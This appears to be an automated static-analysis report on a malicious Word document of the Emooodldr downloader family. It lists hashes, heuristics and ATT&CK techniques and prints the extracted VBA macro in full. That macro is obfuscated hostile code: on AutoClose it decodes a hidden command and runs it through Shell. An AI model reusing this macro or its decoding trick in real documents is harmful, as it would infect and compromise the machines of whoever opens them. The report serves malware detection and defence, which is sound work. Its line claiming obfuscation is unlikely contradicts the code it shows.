Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 dcf687e47e3ff38a…

MALICIOUS

Office (OOXML)

54.1 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-12-09
MD5: 21ab6e815063f66de014230f2d13bda1 SHA-1: 26ab72a7420d6538c6aa6186c23a27eb874e78eb SHA-256: dcf687e47e3ff38a34ab94cf0651e6a45a7d63ee4c7668bfbe3ebc375da3d7ba
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious OOXML document containing VBA macros. The AutoClose macro is present and uses the Shell() function to execute a command. ClamAV signatures indicate this is likely the Emooodldr family, which typically downloads and executes a second-stage payload. The VBA code appears to be obfuscated, but the presence of AutoClose and Shell() calls strongly suggests this behavior.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2090 bytes
SHA-256: d14f7206d929326c9e4ea49eea128df53eaba73958bdf6cc62af299b734c3a85
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function handclap(relevant)
  dodecarchy = Array("k", "E", "f", "4", "s", "p", "W", "5", "Q", "0", "b", "d", "i", "3", "X", "2", "l", "g", "", "Z", "C", "v", "8", "z", "P", "e", "L", "M")
  unsummerly = Array("c", "P", "R", "u", "e", "o", "d", "x", "?", "/", "p", "k", "h", ":", "m", "n", "j", "s", "f", "=", "q", " ", "i", "a", "G", ".", "w", "t")
  
  nonintegrity = vbNullString
  
  For Each gweducks In relevant
    nonsymmetric = aureoling(gweducks, dodecarchy)
    If nonsymmetric > -1 Then
    nonintegrity = unsummerly(nonsymmetric) + nonintegrity
    End If
  Next
  
  handclap = StrReverse(nonintegrity)
  
End Function

Public Function aureoling(levee, gynophore)
  dilutenesses = 5521
  effulging = 7919
  For dilutenesses = 0 To UBound(gynophore)
    If gynophore(dilutenesses) = levee And dilutenesses > -1 Then
     effulging = dilutenesses
    End If
  Next

  If effulging = 7919 Then
    effulging = -1
  End If
  
  aureoling = effulging
End Function


Sub AutoClose()
  relevant = Array("X", "g", "i", "M", "z", "e", "s", "5", "s", "v", "i", "M", "M", "b", "3", "0", "0", "8", "l", "W", "C", "2", "L", "W", "C", "4", "L", "W", "p", "z", "g", "8", "W", "l", "e", "k", "p", "X", "0", "f", "E", "P", "0", "g", "p", "", "e", "b", "i", "b", "Q", "4", "M", "X", "z", "Z", "p", "b", "g", "d")
  shuttling = handclap(relevant)
  
  Application.Run "impowering", (shuttling)
  
End Sub


Private Sub impowering(tailor)
   
   burnishment = 16202
   preallocated = True
   
   While preallocated
     sexlessnesses = burnishment + 717
     If sexlessnesses - burnishment > 1 Then
       lamppost = jibber + "ll"
       Call VBA.Shell(tailor, vbNormalFocus - 1)
       preallocated = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: a30e36f8552a611b0078a53d8052e36e806d7023c80085f53d75d902b60d89e0
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

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